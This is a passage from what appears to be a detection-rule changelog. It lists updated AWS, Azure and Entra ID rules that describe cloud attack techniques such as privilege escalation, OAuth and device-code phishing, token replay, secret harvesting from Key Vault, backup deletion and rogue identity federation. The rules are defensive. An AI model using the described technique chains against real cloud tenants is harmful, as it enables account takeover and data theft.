"true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. | update | 9 + +|<> | Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a precursor to unauthorized domain transfer, takeover, or service disruption. | update | 213 + +|<> | Identifies when an AWS Route 53 domain is transferred to another AWS account. Transferring a domain changes administrative control of the DNS namespace, enabling the receiving account to modify DNS records, route traffic, request certificates, and potentially hijack operational workloads. Adversaries who gain access to privileged IAM users or long-lived credentials may leverage domain transfers to establish persistence, redirect traffic, conduct phishing, or stage infrastructure for broader attacks. This rule detects successful domain transfer requests. | update | 212 + +|<> | Identifies when an AWS Route 53 private hosted zone is associated with a new Virtual Private Cloud (VPC). Private hosted zones restrict DNS resolution to specific VPCs, and associating additional VPCs expands the scope of what networks can resolve internal DNS records. Adversaries with sufficient permissions may associate unauthorized VPCs to intercept, observe, or reroute internal traffic, establish persistence, or expand their visibility within an AWS environment. | update | 213 + +|<> | Identifies when an EC2 Route Table has been created. Route tables can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. | update | 214 + +|<> | Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. | update | 3 + +|<> | Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. | update | 8 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to user groups the compromised user account belongs to. This rule looks for use of the IAM AttachGroupPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user group. | update | 9 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised IAM roles. This rule looks for use of the IAM AttachRolePolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM role. | update | 9 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. | update | 10 + +|<> | Detects when an AWS Identity and Access Management (IAM) customer-managed policy is attached to a role by an unusual or unauthorized user. Customer-managed policies are policies created and controlled within an AWS account, granting specific permissions to roles or users when attached. This rule identifies potential privilege escalation by flagging cases where a customer-managed policy is attached to a role by an unexpected actor, which could signal unauthorized access or misuse. Attackers may attach policies to roles to expand permissions and elevate their privileges within the AWS environment. This is a New Terms rule that uses the "cloud.account.id", "user.name" and "target.entity.id" fields to check if the combination of the actor identity and target role name has not been seen before. | update | 8 + +|<> | Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. | update | 214 + +|<> | Identifies AWS CloudTrail events where an IAM role's trust policy has been updated by an IAM user or Assumed Role identity. The trust policy is a JSON document that defines which principals are allowed to assume the role. An attacker may attempt to modify this policy to gain the privileges of the role. This is a New Terms rule, which means it will only trigger once for each unique combination of the "cloud.account.id", "user.name" and "target.entity.id" fields, that have not been seen making this API request. | update | 216 + +|<> | Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. | update | 216 + +|<> | Identifies when a user or role has assumed a role in AWS Security Token Service (STS). Users can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a user assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. | update | 9 + +|<> | Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. | update | 8 + +|<> | Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). | update | 6 + +|<> | Identifies when an SNS topic is created by a user who does not typically perform this action. Adversaries may create SNS topics to stage capabilities for data exfiltration or other malicious activities. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. | update | 6 + +|<> | Identifies when Azure Storage Account Blob public access is enabled, allowing external access to blob containers. This technique was observed in cloud ransom-based campaigns where threat actors modified storage accounts to expose non-remotely accessible accounts to the internet for data exfiltration. Adversaries abuse the Microsoft.Storage/storageAccounts/write operation to modify public access settings. | update | 2 + +|<> | Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. | update | 6 + +|<> | Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID and user principal object ID have not been seen doing this activity in the last 14 days. | update | 6 + +|<> | Identifies Entra ID device code authentication flows where multiple user agents are observed within the same session. This pattern is indicative of device code phishing, where an attacker's polling client (e.g., Python script) and the victim's browser both appear in the same authentication session. In legitimate device code flows, the user authenticates via browser while the requesting application polls for tokens - when these have distinctly different user agents (e.g., Python Requests vs Chrome), it may indicate the code was phished and redeemed by an attacker. | update | 6 + +|<> | Detects when a service principal authenticates to Microsoft Entra ID and then lists credentials for an Azure Arc-connected Kubernetes cluster within a short time window. The `listClusterUserCredential` action retrieves tokens that enable kubectl access through the Arc Cluster Connect proxy. This sequence (service principal sign-in followed by Arc credential retrieval), represents the exact attack chain used by adversaries with stolen service principal secrets to establish a proxy tunnel into Kubernetes clusters. Service principals that authenticate externally (as opposed to managed identities) and immediately access Arc cluster credentials warrant investigation, particularly when the sign-in originates from an unexpected location or ASN. | update | 3 + +|<> | Identifies unusual high-privileged access to Azure Storage Account keys by users with Owner, Contributor, or Storage Account Contributor roles. This technique was observed in STORM-0501 ransomware campaigns where compromised identities with high-privilege Azure RBAC roles retrieved access keys to perform unauthorized operations on Storage Accounts. Microsoft recommends using Shared Access Signature (SAS) models instead of direct key access for improved security. This rule detects when a user principal with high-privilege roles accesses storage keys for the first time in 7 days. | update | 2 + +|<> | Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. | update | 9 + +|<> | Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. | update | 8 + +|<> | Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. | update | 111 + +|<> | Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. | update | 8 + +|<> | Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code. | update | 9 + +|<> | Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. | update | 9 + +|<> | Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. | update | 4 + +|<> | Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. | update | 110 + +|<> | Identifies a rotation to storage account access keys in Azure. Regenerating access keys can affect any applications or Azure services that are dependent on the storage account key. Adversaries may regenerate a key as a means of acquiring credentials to access systems and resources. | update | 107 + +|<> | Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to disrupt their target's automated business operations or to remove a malicious runbook for defense evasion. | update | 108 + +|<> | Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. | update | 109 + +|<> | Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. | update | 109 + +|<> | Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. | update | 109 + +|<> | Identifies the deletion of a firewall policy in Azure. An adversary may delete a firewall policy in an attempt to evade defenses and/or to eliminate barriers to their objective. | update | 108 + +|<> | Identifies the deletion of a Frontdoor Web Application Firewall (WAF) Policy in Azure. An adversary may delete a Frontdoor Web Application Firewall (WAF) Policy in an attempt to evade defenses and/or to eliminate barriers to their objective. | update | 108 + +|<> | Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. | update | 109 + +|<> | Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly configured, resulting in defense evasions and loss of security visibility. | update | 109 + +|<> | Identifies when the Azure role-based access control (Azure RBAC) permissions are modified for an Azure Blob. An adversary may modify the permissions on a blob to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. | update | 110 + +|<> | Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. | update | 3 + +|<> | Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. | update | 3 + +|<> | Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously. | update | 108 + +|<> | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. | update | 108 + +|<> | Identifies command execution on a virtual machine (VM) in Azure. A Virtual Machine Contributor role lets you manage virtual machines, but not access them, nor access the virtual network or storage account they’re connected to. However, commands can be run via PowerShell on the VM, which execute as System. Other roles, such as certain Administrator roles may be able to execute commands on a VM as well. | update | 108 + +|<> | Identifies successful GetBlob operations on Azure Storage Accounts using AzCopy user agent with SAS token authentication. AzCopy is a command-line utility for copying data to and from Azure Storage. While legitimate for data migration, adversaries may abuse AzCopy with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. This rule detects the first occurrence of GetBlob operations from a specific storage account using this pattern. | update | 3 + +|<> | Identifies the deletion of Azure Restore Point Collections by a user who has not previously performed this activity. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Adversaries may delete these collections to prevent recovery during ransomware attacks or to cover their tracks during malicious operations. | update | 2 + +|<> | Identifies multiple Azure Restore Point Collections being deleted by a single user within a short time period. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Mass deletion of these collections is a common tactic used by adversaries during ransomware attacks to prevent victim recovery or to maximize impact during destructive operations. Multiple deletions in rapid succession may indicate malicious intent. | update | 2 + +|<> | Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities. | update | 2 + +|<> | Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity. | update | 2 + +|<> | Identifies when an Azure Storage Account is deleted. Adversaries may delete storage accounts to disrupt operations, destroy evidence, or cause denial of service. This activity could indicate an attacker attempting to cover their tracks after data exfiltration or as part of a destructive attack. Monitoring storage account deletions is critical for detecting potential impact on business operations and data availability. | update | 2 + +|<> | Identifies when a single user or service principal deletes multiple Azure Storage Accounts within a short time period. This behavior may indicate an adversary attempting to cause widespread service disruption, destroy evidence, or execute a destructive attack such as ransomware. Mass deletion of storage accounts can have severe business impact and is rarely performed by legitimate administrators except during controlled decommissioning activities. | update | 2 + +|<> | Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. | update | 109 + +|<> | Identifies the deletion of Azure Kubernetes Pods. Adversaries may delete a Kubernetes pod to disrupt the normal behavior of the environment. | update | 108 + +|<> | Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally destroy data. | update | 109 + +|<> | Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. | update | 3 + +|<> | Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). | update | 8 + +|<> | Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users could potentially be overlooked indefinitely leading to a potential vulnerability. | update | 109 + +|<> | Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. | update | 3 + +|<> | Identifies when a user is observed for the first time authenticating using the device code authentication workflow. This authentication workflow can be abused by attackers to phish users and steal access tokens to impersonate the victim. By its very nature, device code should only be used when logging in to devices without keyboards, where it is difficult to enter emails and passwords. This rule only applies to Entra ID user types and detects new users leveraging this flow. | update | 10 + +|<> | Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. | update | 10 + +|<> | Identifies high risk Microsoft Entra ID sign-ins by leveraging Microsoft's Identity Protection machine learning and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is compromised. | update | 111 + +|<> | Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. | update | 4 + +|<> | Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. | update | 8 + +|<> | Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing user_impersonation for a token issued by Entra ID. Adversaries may use this scope to gain unauthorized access to user accounts, particularly when the sign-in session status is unbound, indicating that the session is not associated with a specific device or session. This behavior is indicative of potential account compromise or unauthorized access attempts. This rule flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. | update | 5 + +|<> | Identifies a sign-in using the Azure Active Directory PowerShell module. PowerShell for Azure Active Directory allows for managing settings from the command line, which is intended for users who are members of an admin role. | update | 110 + +|<> | Identifies more than two Microsoft Entra ID Protection alerts associated to the user principal in a short time period. Microsoft Entra ID Protection alerts are triggered by suspicious sign-in activity, such as anomalous IP addresses, risky sign-ins, or other risk detections. Multiple alerts in a short time frame may indicate an ongoing attack or compromised account. | update | 5 + +|<> | Identifies when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This indicates that an administrator has reviewed the risk detection and determined that the user account or sign-in activity is definitively compromised. This is a high-confidence indicator of account compromise and should be investigated immediately. | update | 3 + +|<> | Identifies sign-in risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects sign-in activity such as anonymized IP addresses, unlikely travel, password spray, and more. | update | 5 + +|<> | Identifies user risk detection events via Microsofts Entra ID Protection service. Entra ID Protection detects user risk activity such as anonymized IP addresses, unlikely travel, password spray, and more. | update | 4 + +|<> | Detects rare non-interactive sign-ins where an Entra ID client application authenticates on behalf of a principal user using an application (client) ID that is not commonly associated with that user’s historical sign-in behavior. Adversaries with stolen credentials or OAuth tokens may abuse Entra ID–managed or first-party client IDs to perform on-behalf-of (OBO) authentication, blending into legitimate cloud traffic while avoiding traditional interactive sign-in flows. This technique is commonly observed in OAuth phishing, token theft, and access broker operations, and may precede lateral movement, persistence, or data access via Microsoft Graph or other cloud resources. The rule uses a New Terms approach to identify first-seen combinations of the UPN and Client ID within a defined history window, helping surface unexpected client usage that may indicate compromised identities, malicious automation, or unauthorized application impersonation. | update | 7 + +|<> | Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. | update | 8 + +|<> | Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft Identity Protection machine learning and heuristics. | update | 110 + +|<> | Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. | update | 3 + +|<> | Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. | update | 9 + +|<> | Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. | update | 4 + +|<> | Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. | update | 6 + +|<> | This New Terms rule focuses on the first occurrence of a client application ID (azure.graphactivitylogs.properties.app_id) making a request to Microsoft Graph API for a specific tenant ID (azure.tenant_id) and user principal object ID (azure.graphactivitylogs.properties.user_principal_object_id). This rule may helps identify unauthorized access or actions performed by compromised accounts. Advesaries may succesfully compromise a user's credentials and use the Microsoft Graph API to access resources or perform actions on behalf of the user. | update | 8 + +|<> | Identifies when an Azure Automation account is created. Azure Automation accounts can be used to automate management tasks and orchestrate actions across systems. An adversary may create an Automation account in order to maintain persistence in their target's environment. | update | 107 + +|<> | Identifies when an Azure Automation webhook is created. Azure Automation runbooks can be configured to execute via a webhook. A webhook uses a custom URL passed to Azure Automation along with a data payload specific to the runbook. An adversary may create a webhook in order to trigger a runbook that contains malicious code. | update | 107 + +|<> | Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. | update | 109 + +|<> | Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. | update | 110 + +|<> | In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. | update | 108 + +|<> | Identifies when multi-factor authentication (MFA) is disabled for an Entra ID user account. An adversary may disable MFA for a user account in order to weaken the authentication requirements for the account. | update | 111 + +|<> | Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in your Azure AD organization. | update | 109 + +|<> | Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. | update | 111 + +|<> | Identifies when a user signs in with a refresh token using the Microsoft Authentication Broker (MAB) client, followed by a Primary Refresh Token (PRT) sign-in from the same device within 1 hour from an unmanaged device. This pattern may indicate that an attacker has successfully registered a device using ROADtx and transitioned from short-term token access to long-term persistent access via PRTs. Excluding access to the Device Registration Service (DRS) ensures the PRT is being used beyond registration, often to access Microsoft 365 resources like Outlook or SharePoint. | update | 5 + +|<> | Identifies when a new service principal is added in Microsoft Entra ID. An application, hosted service, or automated tool that accesses or modifies resources needs an identity created. This identity is known as a service principal. For security reasons, it's always recommended to use service principals with automated tools rather than allowing them to log in with a user identity. | update | 110 + +|<> | Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. | update | 110 + +|<> | Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. | update | 4 + +|<> | Detects a sequence of events in Microsoft Entra ID indicative of suspicious cloud-based device registration via automated tooling like ROADtools or similar frameworks. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools and similar tooling leave distinct telemetry signatures such as the `Microsoft.OData.Client` user agent. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. | update | 5 + +|<> | Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner for an Azure application in order to grant additional permissions and modify the application's configuration using another account. | update | 109 + +|<> | Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what the application can do in the specific tenant, who can access the application, and what resources the app can access. A service principal object is created when an application is given permission to access resources in a tenant. An adversary may add a user account as an owner for a service principal and use that account in order to define what an application can do in the Azure AD tenant. | update | 109 + +|<> | Identifies when a Microsoft Entra ID user signs in from a device that is not typically used by the user and is not managed, which may indicate potential compromise or unauthorized access attempts. This rule detects unusual sign-in activity by comparing the device used for the sign-in against the user's typical device usage patterns. Adversaries may create and register a new device to obtain a Primary Refresh Token (PRT) and maintain persistent access. | update | 3 + +|<> | Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's recommended that you treat this rule like an administrative root account and don't use it in your application. | update | 109 + +|<> | Identifies when an external authentication method (EAM) is added or modified in Entra ID. EAM may allow adversaries to bypass multi-factor authentication (MFA) requirements, potentially leading to unauthorized access to user accounts and sensitive resources by using bring-your-own IdP (BYOIDP) methods. | update | 4 + +|<> | Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. | update | 4 + +|<> | Identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. | update | 3 + +|<> | Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. | update | 5 + +|<> | Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and 